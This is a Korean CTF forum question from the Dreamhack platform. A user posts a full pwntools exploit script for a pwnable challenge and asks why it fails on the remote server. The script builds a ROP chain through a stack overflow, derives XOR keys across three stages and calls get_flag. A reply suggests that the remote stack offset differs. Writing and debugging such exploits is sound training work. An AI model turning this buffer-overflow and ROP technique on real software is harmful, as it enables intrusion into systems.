완료됨
로되리안인데.. 정말 이유를 모르겠습니다.
from pwn import *
import time
# p = process('./chall')
p = remote('host8.dreamhack.games', 16761)
e = ELF('./chall')

context.log_level = 'debug'

execute_stage1 = e.symbols['execute_stage1']
execute_stage2 = e.symbols['execute_stage2']
vulnerable = e.symbols['vulnerable']
get_flag = e.symbols['get_flag']
retgadget = 0x40101a
pop_rdi_ret = 0x401565

p.recvuntil(b'key: ')
stage1_key = int(p.recvn(10), 16)
stage1_rdi = stage1_key ^ 0xCAFEBABE

print('stage1_key.. ' + hex(stage1_key))
print('stage1_rdi.. ' + hex(stage1_rdi))

print('execute_stage1.. ' + hex(execute_stage1))
print('execute_stage2.. ' + hex(execute_stage2))

payload = b'A' * 0x10
payload += b'B' * 0x8
payload += p64(pop_rdi_ret)
payload += p64(stage1_rdi)
payload += p64(retgadget)
payload += p64(execute_stage1)
payload += p64(vulnerable)

p.sendafter(b'Input: ', payload)

p.recvuntil(b'key: ')
stage2_key = int(p.recvn(10), 16)
stage2_rdi = stage2_key ^ 0xF00DBABE

print('stage2_key.. ' + hex(stage2_key))
print('stage2_rdi.. ' + hex(stage2_rdi))

payload = b'A' * 0x10
payload += b'B' * 0x8
payload += p64(pop_rdi_ret)
payload += p64(stage2_rdi)
payload += p64(execute_stage2)
payload += p64(retgadget)
payload += p64(vulnerable)

p.sendafter(b'Input: ', payload)

p.recvuntil(b'key: ')
stage3_key = int(p.recvn(10), 16)
stage3_rdi = stage3_key ^ 0x12345678

print('stage3_key.. ' + hex(stage3_key))
print('stage3_rdi.. ' + hex(stage3_rdi))

payload = b'A' * 0x10
payload += b'B' * 0x8
payload += p64(pop_rdi_ret)
payload += p64(stage3_rdi)
payload += p64(retgadget)
payload += p64(get_flag)

p.sendafter(b'Input: ', payload)

p.interactive()

출제자님의 의도대로 풀기 위해서 각 함수를 전부 사용하여 익스플로잇 했습니다.
로컬에선 정상적으로 작동해서 get_flag 함수까지 호출 되지만, 리모트에선 첫 번째 페이로드가 전송되고 EOFerror가 뜨면서 작동이 안 됩니다...
첫 번째 페이로드 전송 후 p.recvuntil(b'key: ') 에서 응답 값이 없어서 멈추는데, 이유를 전혀 모르겠습니다..

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

문제가 환경이 제공되지 않아서 조금 이상해졌는데, stack offset이 조금 다르네요.

stage 1에서 return이 제대로 이루어지는 offset을 확인하고, 그를 기준으로 페이로드를 작성하시면 되겠습니다.

2025.07.04. 22:34